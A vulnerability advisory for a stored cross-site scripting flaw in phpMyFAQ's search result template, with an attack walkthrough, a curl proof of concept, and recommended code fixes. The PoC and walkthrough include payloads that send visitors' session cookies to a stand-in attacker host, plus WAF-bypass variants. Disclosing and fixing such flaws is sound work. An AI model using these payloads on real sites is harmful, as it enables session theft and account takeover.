CVE-2026-46361: phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
Summary
The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, htmlentitydecode(striptags(...)) restores the raw HTML tags — bypassing striptags() — and the restored payload is injected into every visitor's browser via the | raw output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.
---
Affected Files
| File | Location | Issue | |---|---|---| | phpmyfaq/assets/templates/default/search.twig | lines rendering result.question, result.answerPreview | (Vertical Bar) raw disables autoescape | | phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php | search result processing loop | htmlentitydecode(striptags(...)) restores encoded payloads | | phpmyfaq/src/phpMyFAQ/Search.php | logSearchTerm() | No HTML sanitization on stored search term (secondary, preventive) |
---
Details
Vulnerability A (Primary): search.twig — | raw Disables Autoescape
File: phpmyfaq/assets/templates/default/search.twig
twig <a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a> <small class="small">{{ result.answerPreview | raw }}...</small>
Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
Seven (7) instances of | raw exist in search.twig:
twig {{ result.renderedScore | raw }} {{ result.question | raw }} {{ result.answerPreview | raw }} {{ searchTags | raw }} {{ relatedTags | raw }} {{ pagination | raw }} {{ 'helpsearch' | translate | raw }}
Each of these constitutes an independent XSS surface if its data source is compromised.
---
Vulnerability B (Amplifier): SearchController.php — htmlentitydecode(striptags()) Bypass
File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php
php $data->answer = htmlentitydecode( striptags((string) $data->answer), ENTCOMPAT, encoding: 'utf-8' );
This pattern is a known security anti-pattern. When a payload is stored as HTML entities, striptags() passes it through unmodified (it sees no actual tags), and htmlentitydecode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.
Bypass walkthrough: text Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)> striptags() → no change (no real tags detected) → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> htmlentitydecode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> | raw output → executes in browser ---
Attack Chain
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body: html <svg onload=fetch('https://attacker.com/?c='+document.cookie)> <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> Step 2 — Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
1. Retrieves the record from the database 2. Applies striptags() → entity-encoded payload passes through 3. Applies htmlentitydecode() → raw <svg onload=...> is restored 4. Passes the value to search.twig as result.answerPreview 5. Template renders with | raw → XSS executes
Step 4 — Impact
- Session cookie exfiltration → full account takeover - Administrator session hijacking (admin visiting search page) - Persistent attack: payload fires for every visitor until manually removed - Potential for worm propagation via auto-created FAQ entries
---
PoC
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Inject payload via FAQ editor:
bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=<editorsession>' \ -d '{ "data": { "pmf-csrf-token": "<validcsrftoken>", "question": "<svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>", "answer": "<img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "searchable-keyword", "author": "attacker", "email": "attacker@example.com" } }'
Step 2 — Trigger XSS as victim: https://target.example.com/search.html?search=searchable-keyword The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.
Alternative payloads (for WAF bypass):
html <details open ontoggle=alert(document.cookie)> <iframe srcdoc="&lt;script&gt;parent.location='https://attacker.com/?c='+document.cookie&lt;/script&gt;">
---
Impact
- Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context. - Integrity : DOM manipulation, phishing overlay injection. - Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.
---
Recommended Fix
Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig
diff - <a href="{{ result.url }}">{{ result.question | raw }}</a> - <small>{{ result.answerPreview | raw }}...</small> + <a href="{{ result.url }}">{{ result.question }}</a> + <small>{{ result.answerPreview }}...</small>
If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.
Fix 2 (Critical) — Remove htmlentitydecode() from search result pipeline SearchController.php
diff - $data->answer = htmlentitydecode( - striptags((string) $data->answer), - ENTCOMPAT, - encoding: 'utf-8' - ); + $data->answer = striptags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
Fix 3 (Recommended) — Audit all | raw usages in search.twig
The following additional | raw instances should be reviewed and sanitized:
twig {{ searchTags | raw }} → apply HTML Purifier or remove | raw {{ relatedTags | raw }} → apply HTML Purifier or remove | raw {{ pagination | raw }} → safe only if generated entirely server-side with no user input
Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()
diff $this->configuration->getDb()->escape($searchTerm) + htmlspecialchars( + $this->configuration->getDb()->escape($searchTerm), + ENTQUOTES | ENTHTML5, + 'UTF-8' + )
---
Other sources
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass htmlentitydecode(striptags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
— MITRE
phpMyFAQ has stored XSS via | raw Filter in search.twig — htmlentitydecode(striptags()) Bypass in Search Result Rendering
— Packagist
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/thorsten/phpmyfaqto a version that resolves this vulnerability.Fixed in 4.1.2 - Upgrade
Upgrade
composer/phpmyfaq/phpmyfaqto a version that resolves this vulnerability.Fixed in 4.1.2 - Configuration
Remove the | raw filter from result.question and result.answerPreview so Twig auto-escaping remains enabled.
phpmyfaq/assets/templates/default/search.twig Twig | raw filter on result.question and result.answerPreview = removed - Configuration
Remove html_entity_decode() from the html_entity_decode(strip_tags(...)) processing of search result content.
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php html_entity_decode() in the search result processing pipeline = removed - Configuration
Audit the remaining | raw usages, including relatedTags, searchTags, renderedScore, pagination, and translated output; remove | raw or sanitize the data before rendering where it can contain user-controlled content.
phpmyfaq/assets/templates/default/search.twig Other | raw usages = audited and sanitized or removed - Configuration
Apply htmlspecialchars() to the search term in logSearchTerm() using ENT_QUOTES | ENT_HTML5 and UTF-8 encoding.
phpmyfaq/src/phpMyFAQ/Search.php logSearchTerm() output encoding = htmlspecialchars(..., ENT_QUOTES | ENT_HTML5, 'UTF-8')
Event History
Frequently Asked Questions
What is the severity of CVE-2026-46361?
CVE-2026-46361 has a high severity rating due to its potential for stored cross-site scripting attacks.
How do I fix CVE-2026-46361?
To fix CVE-2026-46361, upgrade phpMyFAQ to version 4.1.2 or later to ensure autoescape protection is enabled.
Who is affected by CVE-2026-46361?
CVE-2026-46361 affects all versions of phpMyFAQ prior to 4.1.2.
What type of vulnerability is CVE-2026-46361?
CVE-2026-46361 is classified as a stored cross-site scripting vulnerability.
What can attackers do with CVE-2026-46361?
Attackers exploiting CVE-2026-46361 can inject malicious scripts into the search results, compromising the security of users accessing the phpMyFAQ application.